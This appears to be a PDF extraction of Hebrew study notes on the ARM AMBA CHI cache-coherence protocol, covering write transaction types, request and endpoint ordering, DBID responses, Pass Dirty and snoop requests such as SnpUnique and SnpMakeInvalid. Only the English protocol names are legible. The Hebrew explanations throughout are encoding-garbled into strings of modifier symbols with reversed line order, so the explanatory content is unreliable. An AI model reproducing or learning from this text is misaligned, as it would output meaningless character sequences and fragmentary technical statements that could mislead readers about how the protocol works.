 ˸˧˧˴˵ˤˮ˶˦˪ ˢ˟ˣˠ˸MakeInvalid ˢ ˧˵˸ˣ˰ ˪˩˷ ˢ˥˧˦˟ˬ-cache ˪ ˣ˩˲ˢ˧ ˸˶˟ˣˡˬˢ ˢ˶ˣ˷ˢ ˪˷-invalid .

ˢˬ ˫˧˩˪˩ˣ˪ˬˢ ˫˧˵˸ˣ˰ˢ ˸˞ ˵ˣ˥ˬ˪ ˢ˶˧˸ˬ ˣˤ ˢ˪ˣ˰˲-cache .˭ˣ˶˩˧ˤ˟ ˫˸ˣ˞ ˶ˣˬ˷˪ ˧˪˟ˬ 

 

 ˢ˟˧˸˩ ˸ˣ˧˴˵ˤˮ˶˦ 

 ˸ˬˣ˴ˬ ˫˧ˮˣ˸ˮ ˸ˣ˶˧˟˰ˬ ˢ˟˧˸˩ ˸ˣ˧˴˵ˤˮ˶˦Requester  ˸ˬˣ˴˪Completer ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˶˷˞ ,cache  ˢˬ˶˟

˞ ˭ˣ˶˩˧ˤ ,ˢ˞˟ˢ ˧ˣ˪˸ ,˧˦ˮ˶ˢˣ˵ ˞˪ ˣ˞ ˧˦ˮ˶ˢˣ˵ ˞ˣˢ ˫˞ ˭˧˟ ,˶˟˰ˣˬˢ ˫˧ˮˣ˸ˮˢ ˠˣ˯ .ˣˢ˷˪˩ ˧˲˵˧ˢ ˟˧˩˶ ˣ

.ˢ˰˴ˣ˟˷ ˢ˧˴˵ˤˮ˶˦ˢ ˠˣ˯˟ 

˸˟ˣˠ˸ WriteData  

ˢˡ˷ Cache state  

 ˟˴ˬ ˸˞ ˭˧˧˴ˬ ˢˤ ˢˡ˷cache line  ˸˟ˣˠ˸ ˸˥˪˷ˮ˷ ˧ˮ˲˪WriteData ˸ˬˣ˰˪ ˸ˣˮ˸˷ˢ˪ ˪ˣ˩˧ ˢˤ ˟˴ˬ .

ˢ ˣ˟˷ ˟˴ˬˢ-cache line  ˫˞ ˷˥˶˸ˢ˪ ˧ˣ˷˰ ˢˤ ˧ˣˮ˧˷ .˸˧˶ˣ˵ˬˢ ˢ˧˴˵ˤˮ˶˦ˢ ˸˷˵˟ ˸˥˧˪˷ ˸˰˟ ˢ˸˧˧ˢ

 ˸˷˵˟snoop ˢ ˪˴˞ ˢ˪˟˵˸ˢ ˸˟ˣ˸˩ ˢ˸ˣ˞˪ ˸˧ˮ˲ˣˬ˷-Requester  ˢ˧˴˵ˤˮ˶˦ˢ ˸˷˵˟ ˸˥˧˪˷ ˶˥˞˪

ˢ˷ ˧ˮ˲˪ ˨˞ ,˸˧˶ˣ˵ˬˢ-Requester  ˸˟ˣˠ˸ ˸˞ ˥˪ˣ˷WriteData. 

˷˩ ,ˢˬˠˣˡ˪-Requester ˫˧ˣ˯ˬ ˪ ˢ˟˧˸˩ ˰˴˟ˬ-cache line  ˟˴ˬ˟UD ,˰ˡ˧ˬˢ ˸˞ ˥˪ˣ˷ ˞ˣˢ˷ ˧ˮ˲˪ ,

ˣˢ ˸˞ ˢˮ˷ˬ ˞ˣˢ ,ˢ˞˴˵ˢ ˪˰ ˶ˣ˷˧˞ ˫˰ ˢ˟ˣˠ˸ ˪˟˧˵ ˞ˣˢ˷ ˶˥˞˪-cache line ˪-I  ˢ˟ˣˠ˸ˢ ˸˞ ˥˪ˣ˷ˣ

CBWrData_UD_PD. 

ˢˡ˷ Pass Dirty  

˧˴ˬ ˢˤ ˢˡ˷ˢˬ ˸˶˟ˣ˰ ˭ˣ˶˩˧ˤˢ ˸˞ ˭˩ˡ˰˪ ˸ˣ˧˶˥˞ˢ ˫˞ ˭˧-Requester ˸˶˟˰ˢ˪ ˸ˣ˧˶˥˞ˢˣ ˢˡ˧ˬ˟ .

˪ ˸˶˟ˣ˰ ˭ˣ˶˩˧ˤ˪ ˫˧˩˪˩ˣ˪ˬˢ ˫˧ˮˣ˸ˮˢ-Requester ˸ˬˣ˧˯ˢ ˸ˣ˰˴ˬ˞˟ ˭ˬˣ˯ˬ ˶˟ˡˢ ,_PD .ˢ˟ˣˠ˸ˢ ˫˷˟ 
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 ˢ˟˧˸˩ ˸ˣ˧˴˵ˤˮ˶˦˟ ˶ˣˡ˧˯ 

-˟CHI˪ ˫˞˸ˢ˟ ˸ˣ˶ˡˣ˯ˬ ˸ˣ˧˴˵ˤˮ˶˦ ,-Endpoint Order x-Request Orderˢˣ ,:˨˩ ˫˧˶ˡˠˣˬ ˫ 

¶ Endpoint Order: ˬ ˸ˣ˰˧ˠˬ˷ ˸ˣ˧˴˵ˤˮ˶˦ ˪˷ ˶ˡ˯ˢ ˪˰ ˶ˬˣ˷-Requester  ˥ˣˣ˦˪ ˸ˣˡ˰ˣ˧ˬˢ ,ˡ˧˥˧

 ˪˷ ˡ˧˥˧ ˸ˣ˟ˣ˸˩Subordinate˟ ,ˢˬˠˣˡ˪ .-Endpoint Order ˸ˣ˵˲ˮˣˬ ˶˧˷˩ˬ˪ ˢ˷˧ˠ ˸ˣ˪ˣ˰˲ ˶˲˯ˬ ,

-˪register bank  ˪˷Subordinate. 

¶ Request Order:  ˸ˣ˧˴˵ˤˮ˶˦ ˪˷ ˶ˡ˯ˢ ˪˰ ˶ˬˣ˷ˬ ˸ˣ˰˧ˠˬ˷-Requester  ˸˟ˣ˸˩ ˢ˸ˣ˞˪ ,ˡ˧˥˧

 ˞˧ˢ˷ ˸˲˲ˣ˥ ˸˟ˣ˸˩˪ ˸ˣ˵˲ˮˣˬ˷ ˸ˣ˷˵˟ ˶˲˯ˬ ˭ˮ˷˧ ˶˷˞˩ ,˪˷ˬ˪ ,˷˶ˡˮ ˢˤ ˶ˡ˯ .˸˧˲˧˴˲˯non-

cacheable ˣˬ˩ ,Device-GRE. 

 :ˢ˶˰ˢ ˶ˡ˯ ˶ˡˠˣˬ ˶˷˞˩Request Order ˪˷ ˶ˡ˯ˢ ,Endpoint Order .˸˧˦ˬˣ˦ˣ˞ ˰ˬ˸˷ˬ 

˸˞ ˪˴ˮ˪ ˫˧˪ˣ˩˧ ˫˧ˬ˧ˣ˯ˬ ˸ˣ˷˵˟ ˧ˠˣ˯ ˵˶ ˢ ˧˶ˡ˯-Request Order sx-Endpoint Order ˸ˣ˷˵˟ˢ ˧ˠˣ˯ .

:˫˧˪˪ˣ˩ ˢ˪˞ˢ 

¶  ˠˣ˯ˬ ˸ˣ˷˵˟ReadNoSnp x-ReadOnce: 

Á s-Requester  ˠˣ˯ˬ ˢ˷˵˟ ˵˧˲ˮˬReadNoSnp  ˣ˞ReadOnce .˶ˡ˯ ˪˰ ˢ˶˧ˬ˷ ˸˷˶ˣˡ˷ 

Á s-Subordinate  ˸˰ˡˣˢ˟ ˢ˟ˣ˷˸ ˶˧ˤ˥ˬˣ ˢ˷˵˟ˢ ˸˞ ˪˟˵ˬReadReceipt ˸˶˷˞ˬ ˣˤ ˢ˰ˡˣˢ .

˲ˮˢ˪ ˭˸˧ˮ˷.˶ˡ˯ˢ ˪˰ ˸˶ˬˣ˷˷ ˢ˞˟ˢ ˢ˷˵˟ˢ ˸˞ ˵˧ 

Á  ˸˰ˡˣˢ ˸˵˲ˮˢ ˸ˣ˰˴ˬ˞˟ReadReceiptˢ ,-Subordinate  ˧˲˪ ˣ˪˲ˣ˦˧ˣ ˣ˶ˬ˷˧˧ ˸ˣ˷˵˟ˢ ˧˩ ˥˧˦˟ˬ

.˭˸˪˟˵ ˶ˡ˯ 

¶  ˠˣ˯ˬ ˸ˣ˷˵˟WriteNoSnp x-WriteUnique :˨˩ ˸ˣ˪˲ˣ˦ˬ 

Á s-Requester  ˠˣ˯ˬ ˢ˷˵˟ ˷˧ˠˬWriteNoSnp  ˣ˞WriteUnique ˶ˡ˯ ˪˰ ˢ˶˧ˬ˷ ˸˷˶ˣˡˢ ,

)Ordered.( 

Á s-Subordinate  ˸˰ˡˣˢ˟ ˟˧ˠˬDBIDResp ˸˰ˡˣˢ .ˢ˰ˡˣˢˢ ˸˞ ˪˟˵˪ ˭˩ˣˬ ˞ˣˢ˷ ˸˸˸ˣ˞ˬˢ ,

DBIDResp  ˷˧˷ ˸ˮˬ˯ˬslot ˟ ˧ˣˮ˲-Data Buffer ˪ ˸˶˷˲˞ˬˣ ,ˢ˟˧˸˩ˢ ˧ˮˣ˸ˮ ˸˦˧˪˵˪-

Requester .ˢ˞˟ˢ ˸˶ˡˣ˯ˬˢ ˢ˷˵˟ˢ ˸˞ ˵˧˲ˮˢ˪ˣ ˨˧˷ˬˢ˪ 

Á  ˸˰ˡˣˢ ˸˵˲ˮˢDBIDResp ˢ ˡ˴ˬ-Subordinate  ˶ˡ˯ ˧˲˪ ˣ˪˲ˣ˦˧ˣ ˣ˶ˬ˷˧ ˸ˣ˷˵˟ˢ˷ ˢ˥˧˦˟ˬ

.˭˸˪˟˵ 

:˨˩ ˪ˢˮ˸ˬ ˢˤ˩ ˟˴ˬ˟ ˫˧˰ˣ˶˧˞ˢ ˶ˡ˯ 

мΦ s-Requester  ˶˲˯ˬ ˢ˞˧˶˵ ˸˷˵˟ ˫ˤˣ˧м ˪-Subordinate ˶ˡˠˣˬ ˶˷˞˩ ,ReqOrder. 

нΦ s-Requester  ˶˲˯ˬ ˢ˞˧˶˵ ˸˷˵˟ ˫ˠ ˷˧ˠˬн  ˣ˸ˣ˞˪Subordinate ˫˰ ,ReqOrder  ˫˯˥ˮ ˨˞ ,˶ˡˠˣˬ

 ˶˲˯ˬ ˢ˷˵˟ ˧˩ ˢ˸ˣ˞ ˥ˣ˪˷˪ˬм .ˢˬ˪˷ˢ˪ ˢˮ˧˸ˬˬ ˭˧˧ˡ˰ 

оΦ s-Subordinate  ˶˲˯ˬ ˢ˞˧˶˵ ˸˷˵˟ ˪˷ ˢ˰ˡˣˢ˪ ˟˧ˠˬм  ˫˰ReadReceipt ˢ˷˵˟ˢ˷ ˶˷˞ˬˢ ,

.ˢ˪˟˵˸ˢ 
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пΦ  ˭˩ˬ ˶˥˞˪н  :˶ˡ˯ ˪˩˟ ˸ˣ˶˵˪ ˫˧˪ˣ˩˧ ˫˧˞˟ˢ ˫˧˰ˣ˶˧˞ˢ 

мΦ s-Requester  ˶˲˯ˬ ˢ˞˧˶˵ ˸˷˵˟ ˸˞ ˥˪ˣ˷н ˪-Subordinate. 

нΦ s-Subordinate ˪ ˟˧˷ˬ-Requester  ˶˲˯ˬ ˢ˞˧˶˵ ˸˷˵˟ ˶ˣ˟˰ ˢ˞˧˶˵ˢ ˧ˮˣ˸ˮ ˫˰м. 

˰ˡ˧ˬ ˸˞˴˵ˢ ˢˡ˷ DBID  

-sDBID  ˪˷ ˶ˣ˴˧˵)Data Buffer ID ˡ˰˧ˢ ˸ˬˣ˴ ˸˞ ˷ˬ˷ˬ ˢˤ ˢˢˤˬ .˰ˡ˧ˬˣ ˸ˣ˟ˣ˷˸ ˸ˣ˰ˡˣˢ˟ ˵˶ ˰˧˲ˣˬ (

˸ˣ˷˶ˣˡˢ ˸ˣ˧˴˵ˤˮ˶˦ ˸ˣ˴˵ˢ˪ ˧ˡ˩ˣ ,ˢ˟˧˸˩ ˧ˮˣ˸ˮ ˸˪˟˵˪ ˸ˣˮ˧ˬˤ ˪˰ ˰˧ˡˣˢ˪ ˧ˡ˩Completion 

Acknowledgement. 

¶ ˢ ,˸ˣ˟˧˸˩˟ ˶˟ˣˡˬ ˶˷˞˩-Requester ) ˢ˟˧˸˩ ˧ˮˣ˸ˮ ˥ˣ˪˷˪ ˧˞˷˶ ˣˮ˧˞Write Data ˨˶˰ ˸˪˟˵˪ ˡ˰ ,(

DBID ˢˬ ˢ˟ˣˠ˸˟-Completer. 

¶  ˰˴˟˸ˬ ,ˢ˞˧˶˵ˢ ˸ˣ˧˴˵ˤˮ˶˦ˬ ˵˪˥˟Completion Acknowledgementˢ ˣ˟˷ ,-Requester  ˭˧˧˴ˬ

˪ ˢ˞˧˶˵ˢ ˧ˮˣ˸ˮ ˸˶ˤ˥ˢ ˨˪ˢˬ˟ .ˢ˞˧˶˵ˢ ˧ˮˣ˸ˮ ˸˞ ˪˟˧˵ ˞ˣˢ˷-Requester ˨˶˰ ˫ˠ ˶˟˰ˣˬ ,DBID ,

ˢ˷-Requester .ˢˬ˪˷ˢ ˸˰ˡˣˢ ˥ˣ˪˷˪ ˧ˡ˩ ˣ˟ ˷ˬ˸˷˧ 

˸˟ˣˠ˸ DBIDResp  

¶ ˪ ˰˧ˡˣˢ˪ ˧ˡ˩ ˸˥˪˷ˮ-Requester ) ˢ˟˧˸˩ˢ ˧ˮˣ˸ˮ ˸˪˟˵˪ ˫˧ˮ˧ˬˤ ˫˧˟˞˷ˬ ˫ˮ˷˧˷WriteData.( 

¶ ˢ˷ ˸ˮ˧˧˴ˬ-completer .˸ˣ˧˴˵ˤˮ˶˦ˢ ˶ˡ˯ ˧˟ˠ˪ ˸ˣˬ˧ˣ˯ˬ ˸ˣ˧ˣ˟˶˰ ˵˲˯ˬ 

˧˴˵ˤˮ˶˦ ˸ˣ˧ˡ˧˧ˬ ˢ˟˧˸˩ ˸ˣ 

˩ ˫ˠ ˸ˣ˰ˣˡ˧ˢ ,˸ˣ˧ˡ˧˧ˬ ˢ˟˧˸˩ ˸ˣ˧˴˵ˤˮ˶˦-Non-CopyBack Write ,ˢ˟˧˸˩ ˸ˣ˧˴˵ˤˮ˶˦ ˪˷ ˡ˥ˣ˧ˬ ˠˣ˯ ˭ˢ ,

 ˸ˬˣ˴ˬ ˫˧˶˟˰ˣˬ ˫˧ˮˣ˸ˮˢ ˭ˢ˟Requester  ˸ˬˣ˴˪ ˸ˣ˶˧˷˧Home ˪˰ ˸˧˦ˮ˶ˢˣ˵ ˸ˣ˪˰˟ ˢ˪˧˥˸ ˪˟˵˪ ˧˪˟ˬ ,

 ˸ˬˣ˴ˢˬ ,ˢˬˠˣˡ˪ .˸ˣ˶˧˷˧ ˫˧ˮˣ˸ˮ ˸˶˟˰ˢ˪ ˸ˣ˷ˬ˷ˬ ˣ˪˞ ˸ˣ˧˴˵ˤˮ˶˦ .˫˧ˮˣ˸ˮˢHome  ˸ˬˣ˴˪

Subordinate ˷ˣ˶ˡ˪ ˸ˣ˧ˣ˷˰ ˣ˪˞ ˸ˣ˧˴˵ˤˮ˶˦ .˭˩ ˧ˮ˲˪ ˸˧˦ˮ˶ˢˣ˵ ˸ˣ˪˰˟ ˸˪˟˵ ˪˷ ˨˧˪ˢ˸ ˶ˣ˟˰˪ ˧˪˟ˬ ,

 ˰ˣ˴˧˟Snoop  ˪ˣˬagent-.˫˧ˮˣ˸ˮˢ ˸ˣ˧˟˵˰ ˪˰ ˶ˣˬ˷˪ ˧ˡ˩ ,˸˩˶˰ˬ˟ ˫˧˶˥˞ ˫˧ 

WriteNoSnpFull  

 ˸˶ˣ˷ ˟ˣ˸˩˪ ˨˶ˣ˴ ˷˧ ˶˷˞˩ ˸˰˴˟˸ˬ ˣˤ ˢ˧˴˵ˤˮ˶˦cache  ˸ˬˣ˴ˬ ˫˧ˮˣ˸ˮ ˪˷ ˢ˞˪ˬRequester  ˶ˣˤ˞˪

 ˣ˟ ˰˴˟˪ ˭˸˧ˮ ˞˪˷ ˸˟ˣ˸˩snooping ˸˶ˣ˷ ˟ˣ˸˩˪ ˨˶ˣ˴ ˷˧ ˶˷˞˩ ˣ˞ ,cache  ˸ˬˣ˴ˬ ˫˧ˮˣ˸ˮ ˪˷ ˢ˞˪ˬ

Home  ˸ˬˣ˴˪Subordinate˟ ˨˶ˣ˴ ˭˧˞ˣ ,˫˸ˣˬ˪˷˟ ˫˧˶˟˰ˣˬ ˫˧ˮˣ˸ˮ .-snooping .ˢ˪ˣ˰˲ˢ ˨˪ˢˬ˟ 

WriteNoSnpPtl  

) ˸˧˵˪˥ ˢ˟˧˸˩Ptl - partial ˸˶ˣ˷˪ (cache line˪ ˭˸˧ˮ ˣˮ˧˞˷ ˸˟ˣ˸˩ ˶ˣˤ˞˪ ˢ˷˵˟ˢ ˸ˬˣ˴ˬ ˸˰˴˟˸ˬ ,-

Snoop ˸ˬˣ˴ˬ ˣ˞ ,Home  ˸ˬˣ˴˪Subordinate˫˧ˬ˧ˣ˯ˬ ˫˧˸˟ ˶ˣ˟˰ ˸˧˷˰ˮ ˢ˟˧˸˩ˢ . ˟-cache line. 
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WriteUniqueFull  

 ˸˶ˣ˷ ˟ˣ˸˩˪ ˨˶ˣ˴ ˷˧ ˶˷˞˩ ˸˰˴˟˸ˬ ˣˤ ˢ˪ˣ˰˲cache ˪ ˭˸˧ˮ ˸˟ˣ˸˩ ˶ˣˤ˞˪ ˢ˞˪ˬ-Snoop ,ˢˤ ˢ˶˵ˬ˟ .

ˢ ˸˶ˣ˷-cache ˪ ˣ˞ ˭ˣ˶˩˧ˤ˪ ˸˟˸˩ˮ-cache ˢ ˸˶ˣ˷ ˶˷˞˩ ,ˢ˞˟ˢ ˢˬ˶˟-cache ˢ ˪˴˞-Requester  ˞˧ˢ

 ˟˴ˬ˟Invalid. 

WriteUniquePtl  

˪ ˢˬˣˡ ˣˤ ˢ˪ˣ˰˲-WriteUniqueFullˢ ˸˶ˣ˷ ˪˷ ˡ˟˪˟ ˫˧˸˟ˢˬ ˵˪˥ ˶ˣ˟˰ ˸˰˴˟˸ˬ ˢ˟˧˸˩ˢ ˭˞˩ ˨˞ ,-

cache. 

WriteUniqueZero  

˪ ˭˸˧ˮˢ ˸˟ˣ˸˩ ˶ˣˤ˞˪ ˢ˟˧˸˩-Snoopˢ ˸˶ˣ˷˟ ˫˧˸˟ˢ ˪˩ ˶˷˞˩ ,-cache  ˣˤ ˢ˪ˣ˰˲ .˯˲˞ ˨˶˰ ˫˰ ˫˧˟˸˩ˮ

.˫˧˯˲˞ ˢ˪˧˩ˬ ˢ˶ˣ˷ˢ˷ ˸ˮ˧˧˴ˬ ˞˪˞ ˫˧˧˸˧ˬ˞ ˫˧ˮˣ˸ˮ ˢ˶˧˟˰ˬ ˢˮ˧˞ 

˸ˣ˧˴˵ˤˮ˶˦ CopyBack  

 ˸ˣ˧˴˵ˤˮ˶˦CopyBack ˬ ˫˧˧˦ˮ˶ˢˣ˵ ˫˧ˮˣ˸ˮ ˫˧˶˟˰ˣˬ ˭ˢ˟˷ ,ˢ˟˧˸˩ ˸ˣ˧˴˵ˤˮ˶˦ ˪˷ ˡ˥ˣ˧ˬ ˠˣ˯ ˭ˢ-cache 

˪ ˡ˥˞-cache ˣ˶˩˧ˤ˪ ˣ˞ ˶˥˞ ˫˧ˮˣ˸ˮ ˶˧ˤ˥ˢ˪ ˨˶ˣ˴ ˷˧ ˶˷˞˩ ˸ˣ˰˴˟˸ˬ ˣ˪˞ ˸ˣ˧˴˵ˤˮ˶˦ .ˢ˞˟ˢ ˢˬ˶˟ ˭

ˬ ˫˧˩˪˩ˣ˪ˬ-cache  ˸ˣ˧˴˵ˤˮ˶˦ ˧˩ ,˭˧˧˴˪ ˟ˣ˷˥ .˸˩˶˰ˬˢ ˪˷ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪˰ ˢ˶˧ˬ˷ ˨ˣ˸ ,˭ˣ˶˩˧ˤ˪

CopyBack  ˰ˣ˴˧˟ ˸ˣ˷˶ˣˡ ˞˪snooping ˪-agent- ˸˶˟˰ˢ˟ ˸ˣˡ˵ˬ˸ˬ ˭ˢ˷ ˭ˣˣ˧˩ˬ ,˸˩˶˰ˬ˟ ˫˧˶˥˞ ˫˧

ˣ˪ˬ ˟˴ˬ˟ ˫˧˞˴ˬˮ˷ ˫˧ˮˣ˸ˮ.˨˪˩ 

WriteBackFull  

 ˸˶ˣ˷ ˶˧ˤ˥ˢ˪ ˨˶ˣ˴ ˷˧ ˶˷˞˩ ˸˰˴˟˸ˬ ˣˤ ˢ˪ˣ˰˲cache ˪ ˣ˞ ,˭ˣ˶˩˧ˤ˪ ˫˧˩˪˩ˣ˪ˬ ˫˧ˮˣ˸ˮ ˪˷ ˢ˞˪ˬ-cache 

 ˸ˣ˰˴ˬ˞˟ ˫˧˶˟˰ˣˬ ˫˧ˮˣ˸ˮˢ ˫˞ .ˢ˞˟ˢ ˢˬ˶˟CopyBackWriteData_I˧˧ ˤ˞ , ˵˪˥ ˪˰ ˠ˪ˡ˪ ˨˶ˣ˴ ˷˧ˣ ˭˩˸

˟ ˫˧˦˧˟ˢˬ-cache line. 

WriteBackPtl  

 ˸˶ˣ˷ ˧˵˪˥ ˭˲ˣ˞˟ ˶˧ˤ˥ˢ˪ ˸ˡ˰ˣ˧ˬ ˣˤ ˢ˪ˣ˰˲cache ˪ ˣ˞ ˭ˣ˶˩˧ˤ˪ ˫˧˩˪˩ˣ˪ˬ ˫˧ˮˣ˸ˮ ˪˷-cache  ˢˬ˶˟

.ˢ˞˟ˢ 

WriteCleanFull  

˪ ˣ˞ ˭ˣ˶˩˧ˤ˪ ˫˧˩˪˩ˣ˪ˬ ˫˧ˮˣ˸ˮ ˫˧˶ˤ˥ˣˬ ˣˤ ˢ˪ˣ˰˲˟-cache  ˨˧˶˴ ˫ˠˣ ,ˢ˞˟ˢ ˢˬ˶˟˶ˣˬ˷˪  ˟˴ˬ˟ ˵˸ˣ˰

clean ˢ ˸˶ˣ˷ ˪˷-cache  ˫˰ ˸˰˴˟˸ˬ ˢ˧˴˵ˤˮ˶˦ˢ ˫˞ .˸˧˶ˣ˵ˬˢCopyBackWriteData_I˧ˣ ˭˩˸˧˧ ˤ˞ , ˷

˟ ˫˧˦˧˟ˢˬ ˵˪˥ ˪˰ ˠ˪ˡ˪ ˨˶ˣ˴-cache line. 
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 ˸ˣ˷˵˟Snoop  

-sInterconnect  ˠˣ˯ˬ ˢ˷˵˟ ˶˴ˣ˧Snoopˢˬ ˢ˷˵˟˪ ˢ˟ˣˠ˸˟ ˣ˞ ,-Requester ,˧ˬ˧ˮ˲ ˶ˠ˧˶˦ ˸ˣ˟˵˰˟ ˣ˞ ,

 ˪˷ ˢ˪ˣ˰˲ ˭ˣˠ˩cache  ˭ˮ˯ˬ ˪˷ ˢ˵ˣˤ˥˸ ˸˪ˣ˰˲ ˣ˞snoop ˸˧˧˴˵ˤˮ˶˦ ˪˩ .Snoop ˸˧˧˴˵ˤˮ˶˦ ˦˰ˬ˪ ,

SnpDVMOp˟ ˫˧ˮ˯˥ˣ˞ˬˢ ˫˧ˮˣ˸ˮ˟ ˸ˡ˵ˬ˸ˬ ,-cache ˢ ˪˷-Requester. 

 ˥ˮˣˬˢ :ˢ˶˰ˢSnoopee ˪ ˯˥˧˧˸ˬ-node  ˸˪ˣ˰˲ ˨˪ˢˬ˟ ˶˵˥ˮ ˣ˞ ˪˞˷ˮ˷snoopˢ ˢˤ ,-node  ˫˧˰˴˟ˬ˷

˰ˢ ˸˞ ˣ˧˪-snooping ˢ ˸˰ˡˣˢ ˪˷ ˡ˰˧ˢ ˞ˣˢˣ-snoop .(ˢ˰ˡˣˢˢ ˸˞ ˣ˪ ˫˧˥˪ˣ˷) 

˸˟ˣˠ˸ Snoop  

ˢˡ˷ Cache state  

ˢ ˪˷ ˧˲ˣ˯ˢ ˟˴ˬˢ ˸˞ ˠ˴˧˧ˬ ˢˤ ˢˡ˷-cache line ˢ ˸˪ˣ˰˲ ˸˞ ˢ˧˪˰ ˫˧˰˴˟ˬ˷ ˸ˬˣ˴˟-snoop ,˶ˬˣ˪˩ .

ˢ ˸˪ˣ˰˲ ˰ˣ˴˧˟ ˶˥˞˪-snoopˢ ˪˷ ˟˴ˬˢ ˢ˧ˢ˧ ˢˬ ˶˧ˡˠˬ ˢˤˢ ˢˡ˷ˢ ,-cache line .˸˵ˡ˟ˮˢ ˸ˬˣ˴˟ 

 ,ˢˬˠˣˡ˪Requester  ˸˷˵˟ ˪˟˵ˬsnoop  ˪˷SnpMakeInvalid ˢ ˸˞ ˨ˣ˲ˢ˪ ˨˧˶˴ ˶ˬˣ˪˩)-cache line 

 ˟˴ˬ˪invalidˢ .(-cache line  ˟˴ˬ˟ ˸˞˴ˬˮ ˢ˷˵˟ˢ ˸˞ ˪˟˵ˬ ˞ˣˢ˷ ˧ˮ˲˪ ˣ˪ ˷˧˷SC ˸˞ ˪˟˵ˬ ˞ˣˢ˷˩ˣ ,

ˢ ˸˞ ˨˲ˣˢ ˞ˣˢ ,ˢ˷˵˟ˢ-cache line ˪-I ˸˰ˡˣˢ ˫˰ ˟˧ˠˬˣ ,SnpResp_I. 

ˢˡ˷ Pass Dirty  

˪ ˸˶˟˰ˣˬ ˫˧ˮˣ˸ˮˢ ˶ˣ˟˰ ˭ˣ˶˩˧ˤˢ ˭ˣ˩ˡ˰˪ ˸ˣ˧˶˥˞ˢ˷ ˭˧˧˴ˬ ˢˤ ˢˡ˷-Requester  ˢ˧˴˵ˤˮ˶˦ˢ ˸˞ ˫ˤ˧˷)

˪ ˣ˞ (˸˧˶ˣ˵ˬˢ-interconnect ˸˟ˣˠ˸ ˶˷˞˩ ˵˶ ˫˧˧˵ ˢˤˢ ˢˡ˷ˢ .-ssnoop  ˶˷˞˩ ,˶ˬˣ˪˩ .˫˧ˮˣ˸ˮ ˸˪˪ˣ˩

˷˩ .˷˶ˡˮˢ ˰ˡ˧ˬˢ ˸˞ ˫ˠ ˸˥˪ˣ˷ ˢ˟ˣˠ˸ˢ ˸˞ ˸˥˪ˣ˷˷ ˸ˬˣ˴ˢ-Pass Dirty  ˧ˡ˧ ˪˰ ˠ˴ˣˬ ˢˤ ,˵˪ˣˡ_PD 

.ˢ˟ˣˠ˸ˢ ˫˷˟ 

˸ˣ˧˴˵ˤˮ˶˦ Snoop  

SnpCleanFwd  &SnpClean  

 ˠˣ˯ˬ ˢ˷˵˟Snoop ˢ ˪˷ ˵˸ˣ˰ ˸˪˟˵˪-cache line  ˟˴ˬ˟Clean .˱˸ˣ˷ˬ ˟˴ˬ˟ ˵˸ˣ˰ ˪˰ ˢ˶˧ˬ˷ ˨ˣ˸ ,

ˢ ˸˞ ˶˧˞˷ˢ˪ ˭˧˞-cache line  ˟˴ˬ˟Unique. 

SnpNotSharedDirtyFwd &SnpNotSharedDirty  

 ˠˣ˯ˬ ˢ˷˵˟Snoop ˢ ˪˷ ˵˸ˣ˰ ˸˪˟˵˪-cache line  ˟˴ˬ˟SharedClean ˟˴ˬ˟ ˵˸ˣ˰ ˪˰ ˢ˶˧ˬ˷ ˨ˣ˸ ,

Sharedˢ ˸˞ ˶˧˞˷ˢ˪ ˭˧˞ .-cache line  ˟˴ˬ˟Unique. 

˟ ˢ˲˯ˣˮ ˞˧ˢ ˧˩ ,˸ˮ˧˧ˮ˰ˬ ˸˞ˤˢ ˢ˟ˣˠ˸ˢ :ˢ˶˰ˢ-CHI-B  ˪ˣ˵ˣ˦ˣ˶˲˟ ˢ˩˧ˬ˸ ˶˷˲˞˪ ˧ˡ˩MESI  ˶ˣ˯˞ ˣ˟˷

 ˟˴ˬSD ˟ ˢˢˤ)-MOESI  ˟˴ˬ˪Owned  ˞˪˷˟ ˫˧˧˵-MESI ˫ˠ ˢ˲˯ˣˮ ˢ˩˧ˬ˸ ˶˷˲˞˪ ˧ˡ˩ ,˱˯ˣˮ˟ .(

 ˢ˧˴˵ˤˮ˶˦ˢReadNotSharedDirty. 
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SnpSharedFwd  &SnpShared  

 ˠˣ˯ˬ ˢ˷˵˟Snoop ˢ ˪˷ ˵˸ˣ˰ ˸˪˟˵˪-cache line  ˟˴ˬ˟Shared ˟˴ˬ˟ ˵˸ˣ˰ ˪˰ ˢ˶˧ˬ˷ ˨ˣ˸ ,Shared .

ˢ ˸˞ ˶˧˞˷ˢ˪ ˭˧˞-cache line  ˟˴ˬ˟Unique. 

SnpUniqueFwd  &SnpUnique  

 ˠˣ˯ˬ ˢ˷˵˟Snoop ˢ ˪˷ ˵˸ˣ˰ ˸˪˟˵˪-cache line  ˟˴ˬ˟Unique˰ ˪ˣ˦˧˟ ˨ˣ˸ ,˟ ˫˧ˮ˯˥ˣ˞ˬ˷ ˫˧˵˸ˣ-

cacheˢ ˟˴ˬ˟ ˧ˣˮ˧˷ ˷˥˶˸ˢ˪ ˟˧˧˥ .-cache line ˪-invalid˪ ˷˧ ˫˞ .-Snoopee  ˞ˣˢ ,˨˪˩ˣ˪ˬ ˟˴ˬ˟ ˵˸ˣ˰

˪ ˰ˡ˧ˬˢ ˸˞ ˫ˠ ˶˧˟˰ˢ˪ ˟˧ˣ˥ˬ-Requester .˷˵˟ˬˢ 

SnpCleanShared  

 ˠˣ˯ˬ ˢ˷˵˟snoop ˢ ˪˷ ˨˪˩ˣ˪ˬ ˵˸ˣ˰ ˪˩ ˶˧˯ˢ˪ ˸ˡ˰ˣ˧ˬˢ-cache line ˢ ˸ˬˣ˴˟-Snoopee ˶˧˞˷ˢ˪ ˭˧˞ .

ˢ ˸˞-cache line .˨˪˩ˣ˪ˬ ˟˴ˬ˟ 

SnpCleanInvalid  

 ˠˣ˯ˬ ˢ˷˵˟snoop ˢ ˱˵ˣ˸ ˸˞ ˪˦˟˪ ˸ˡ˰ˣ˧ˬˢ-cache line ˢ ˸ˬˣ˴˟-Snoopee ˵˸ˣ˰ ˪˩ ˠ˧˷ˢ˪ˣ ,

ˢ ˧ˡ˧ ˪˰ ˫ˠ ˶˴ˣˣ˧ˢ˪ ˢ˧ˣ˷˰ ˣˤ ˢ˷˵˟ .˨˪˩ˣ˪ˬ-Interconnect ˢˬ ˢˬ˧˞˸ˬ ˢ˷˵˟ ˞˪˪-Requester ˸˟˧˧˥ .

ˢ ˟˴ˬ˟ ˧ˣˮ˧˷ ˪˷ ˢ˪ˣ˰˲ ˷˥˶˸ˢ˪-cache line ˪-invalid. 

SnpMakeInvalid  

